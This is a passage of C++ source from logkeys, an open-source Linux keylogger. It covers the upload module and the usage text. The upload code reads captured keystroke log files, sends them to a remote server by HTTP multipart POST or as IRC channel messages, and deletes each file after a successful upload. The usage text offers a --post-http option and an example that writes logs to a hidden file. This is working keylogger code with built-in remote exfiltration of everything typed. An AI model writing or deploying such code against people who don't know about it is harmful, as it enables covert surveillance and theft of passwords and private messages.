the remote-uploading process 13 | 14 | namespace logkeys { 15 | 16 | int sendall(int sockfd, const char *buf, size_t len) 17 | { 18 | size_t total = 0; 19 | int n = 0; // how many bytes we've sent 20 | size_t bytesleft = len; // how many we have left to send 21 | 22 | while(total < len) { 23 | if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1) 24 | break; 25 | total += n; 26 | bytesleft -= n; 27 | } 28 | 29 | return n == -1 ? -1 : 0; // return -1 on failure, 0 on success 30 | } 31 | 32 | int open_connection(const char *server, const char *port) 33 | { 34 | struct addrinfo *servinfo, *p; // servinfo will point to IP results 35 | struct addrinfo hints = {0}; 36 | hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts 37 | hints.ai_socktype = SOCK_STREAM; // we will use TCP stream 38 | 39 | int status, sockfd; 40 | if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0) 41 | error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status)); 42 | 43 | // loop through the servinfo list and connect to the first connectable address 44 | for (p = servinfo; p != NULL; p = p->ai_next) { 45 | if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) 46 | continue; 47 | if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) { 48 | close(sockfd); 49 | continue; 50 | } 51 | break; 52 | } 53 | 54 | if (p == NULL) sockfd = -1; // if connecting failed, return -1 55 | 56 | freeaddrinfo(servinfo); // free the servinfo linked-list 57 | 58 | return sockfd; 59 | } 60 | 61 | char * read_socket(int sockfd) 62 | { 63 | #define STR_SIZE 1000000 64 | static char str[STR_SIZE] = {0}; 65 | if (recv(sockfd, str, STR_SIZE, 0) == -1) 66 | return NULL; 67 | return str; 68 | } 69 | 70 | int sockfd; 71 | bool isKilled = false; 72 | 73 | void uploader_signal_handler(int signal) 74 | { 75 | isKilled = true; 76 | close(sockfd); 77 | } 78 | 79 | void start_remote_upload() 80 | { 81 | int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); 82 | if (pid_fd == -1) { 83 | error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'"); 84 | } 85 | 86 | // catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully 87 | struct sigaction act = {{0}}; 88 | act.sa_handler = uploader_signal_handler; 89 | sigaction(SIGHUP, &act, NULL); 90 | sigaction(SIGINT, &act, NULL); 91 | sigaction(SIGTERM, &act, NULL); 92 | 93 | #define MAX_FILES 1000 94 | char successful[MAX_FILES] = {0}; // array holding results 95 | 96 | int last_index; // determine how many logfiles.X are there 97 | for (last_index = 1; last_index < MAX_FILES; ++last_index) { 98 | std::stringstream filename; 99 | filename << args.logfile << '.' << last_index; 100 | std::ifstream ifs(filename.str().c_str()); 101 | 102 | if (!ifs) break; 103 | ifs.close(); 104 | } 105 | --last_index; // logfile.last_index is the last one 106 | 107 | // POST to remote HTTP server 108 | if (!args.http_url.empty()) { 109 | 110 | std::string url = std::string(args.http_url); 111 | std::string port = "80"; 112 | std::string host = url.substr(url.find("://") + 3); 113 | std::string location = host.substr(host.find("/")); 114 | host = host.substr(0, host.find("/")); 115 | 116 | if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc") 117 | port = host.substr(host.find(":") + 1); 118 | host = host.substr(0, host.find(":")); 119 | } 120 | 121 | srand(time(NULL)); 122 | 123 | for (int i = 1; i <= last_index && !isKilled; ++i) { 124 | 125 | std::stringstream filename; 126 | filename << args.logfile << '.' << i; 127 | std::ifstream ifs(filename.str().c_str()); 128 | 129 | if (!ifs) break; 130 | 131 | sockfd = open_connection(host.c_str(), port.c_str()); 132 | 133 | if (sockfd == -1) break; 134 | 135 | std::string line, file_contents; 136 | while(getline(ifs, line)) file_contents += line + "\n"; 137 | ifs.close(); 138 | 139 | std::stringstream boundary, postdata, obuf; 140 | boundary << "---------------------------" << time(NULL) << rand() << rand(); 141 | 142 | postdata << "--" << boundary.str() << "\r\n" << 143 | "Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n" 144 | "Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n"; 145 | 146 | obuf << 147 | "POST " << location << " HTTP/1.1\r\n" 148 | "Host: " << host << "\r\n" 149 | "User-Agent: logkeys (https://github.com/kernc/logkeys)\r\n" 150 | "Accept: */*\r\n" 151 | "Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n" 152 | "Content-Length: " << postdata.str().size() << "\r\n" 153 | "\r\n" << postdata.str(); 154 | 155 | if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { 156 | close(sockfd); 157 | error(0, errno, "Error sending output"); 158 | break; 159 | } 160 | sleep(1); 161 | 162 | if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0) 163 | ++successful[i - 1]; 164 | 165 | if (successful[i - 1] && args.irc_server.empty()) remove(filename.str().c_str()); 166 | 167 | close(sockfd); 168 | } 169 | } 170 | 171 | // post to remote IRC server 172 | if (!args.irc_server.empty() && !isKilled) { 173 | 174 | sockfd = open_connection(args.irc_server.c_str(), args.irc_port.c_str()); 175 | if (sockfd == -1) { 176 | remove(UPLOADER_PID_FILE); 177 | error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)"); 178 | } 179 | 180 | fprintf(stderr, "posting IRC...\n"); // debug 181 | 182 | srand(time(NULL)); 183 | int random = rand() % 999999; // random 6 digits will be part of IRC nickname 184 | std::stringstream obuf; 185 | obuf << "USER lk" << random << " 8 * :https://github.com/kernc/logkeys\r\n" 186 | "NICK lk" << random << "\r\n"; 187 | if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it 188 | obuf << "JOIN " << args.irc_entity << "\r\n"; 189 | 190 | if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { 191 | remove(UPLOADER_PID_FILE); 192 | error(EXIT_FAILURE, errno, "Error sending output"); 193 | } 194 | obuf.clear(); 195 | obuf.str(""); 196 | 197 | for (int i = 1; i <= last_index && !isKilled; ++i) { 198 | std::stringstream filename; 199 | filename << args.logfile << '.' << i; 200 | std::ifstream ifs(filename.str().c_str()); 201 | 202 | if (!ifs) break; 203 | 204 | std::string line; 205 | while (std::getline(ifs, line)) { 206 | #define IRC_MAX_LINE_SIZE 400 207 | while (line.size() > IRC_MAX_LINE_SIZE) { 208 | obuf << "PRIVMSG " << args.irc_entity << " :" 209 | << line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n"; 210 | 211 | if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { 212 | remove(UPLOADER_PID_FILE); 213 | error(EXIT_FAILURE, errno, "Error sending output"); 214 | } 215 | obuf.clear(); 216 | obuf.str(""); 217 | sleep(1); 218 | line = line.substr(IRC_MAX_LINE_SIZE); 219 | } 220 | obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n"; 221 | 222 | if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { 223 | remove(UPLOADER_PID_FILE); 224 | error(EXIT_FAILURE, errno, "Error sending output"); 225 | } 226 | obuf.clear(); 227 | obuf.str(""); 228 | } 229 | 230 | ifs.close(); 231 | sleep(1); 232 | 233 | ++successful[i - 1]; 234 | } 235 | close(sockfd); 236 | } 237 | 238 | char successful_treshold = 0; // determine how many post methods were supposed to be used 239 | if (!args.http_url.empty()) ++successful_treshold; 240 | if (!args.irc_server.empty()) ++successful_treshold; 241 | 242 | // remove all successfully uploaded files... 243 | for (int i = 1, j = 1; i <= last_index; ++i) { 244 | std::stringstream filename; 245 | filename << args.logfile << '.' << i; 246 | 247 | if (successful[i - 1] == successful_treshold) { 248 | remove(filename.str().c_str()); 249 | } 250 | else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+ 251 | std::stringstream target_name; 252 | target_name << args.logfile << '.' << j; 253 | rename(filename.str().c_str(), target_name.str().c_str()); 254 | ++j; 255 | } 256 | } 257 | 258 | close(pid_fd); 259 | remove(UPLOADER_PID_FILE); 260 | } 261 | 262 | } // namespace logkeys 263 | 264 | #endif // _UPLOAD_H_ 265 | -------------------------------------------------------------------------------- /src/usage.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #ifndef _USAGE_H_ 10 | #define _USAGE_H_ 11 | 12 | namespace logkeys { 13 | 14 | void usage() 15 | { 16 | fprintf(stderr, 17 | "Usage: logkeys [OPTION]...\n" 18 | "Log depressed keyboard keys.\n" 19 | "\n" 20 | " -s, --start start logging keypresses\n" 21 | " -m, --keymap=FILE use keymap FILE\n" 22 | " -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "] or standard output '-'\n" 23 | " -u, --us-keymap use en_US keymap instead of configured default\n" 24 | " -k, --kill kill running logkeys process\n" 25 | " -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n" 26 | " -?, --help print this help screen\n" 27 | " --export-keymap=FILE export configured keymap to FILE and exit\n" 28 | " --no-func-keys log only character keys\n" 29 | " --no-timestamps don't prepend timestamps to log file lines\n" 30 | " --timestamp-every log timestamp on every keystroke\n" 31 | " --post-http=URL POST log to URL as multipart/form-data file\n" 32 | //" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n" 33 | " --post-size=SIZE post log file when size equals SIZE [500k]\n" 34 | " --no-daemon run in foreground\n" 35 | "\n" 36 | "Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n" 37 | " logkeys -s -d event6\n" 38 | " logkeys -k\n" 39 | "\n" 40 | "logkeys version: " PACKAGE_VERSION "\n" 41 | "logkeys homepage: \n" 42 | ); 43 | } 44 | 45 | } // namespace logkeys 46 | 47 | #endif // _USAGE_H_ 48 | --------------------------------------------------------------------------------